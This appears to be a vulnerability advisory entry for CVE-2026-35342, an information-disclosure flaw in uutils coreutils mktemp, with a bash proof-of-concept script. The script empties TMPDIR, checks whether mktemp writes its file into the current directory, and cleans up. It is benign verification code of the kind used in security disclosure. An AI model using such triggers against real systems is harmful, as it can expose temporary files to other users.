CVE-2026-35342 uutils coreutils信息泄露漏洞

#!/bin/bash # PoC for CVE-2026-35342 # This script demonstrates the vulnerability where an empty TMPDIR # causes mktemp to create a file in the current working directory. mkdir -p /tmp/vuln_test_dir cd /tmp/vuln_test_dir # Simulate the vulnerable condition export TMPDIR="" # Run the vulnerable mktemp (assuming uutils version is used) # If uutils is installed as 'mktemp', replace command accordingly TEMP_FILE=$(mktemp) echo "Created temp file: $TEMP_FILE" # Verify if file is in CWD if [ -f "$(basename $TEMP_FILE)" ]; then echo "[!] Vulnerability confirmed: File created in CWD." ls -l "$(basename $TEMP_FILE)" else echo "[*] Safe behavior or PoC failed." fi # Cleanup rm -f "$(basename $TEMP_FILE)" cd - rmdir /tmp/vuln_test_dir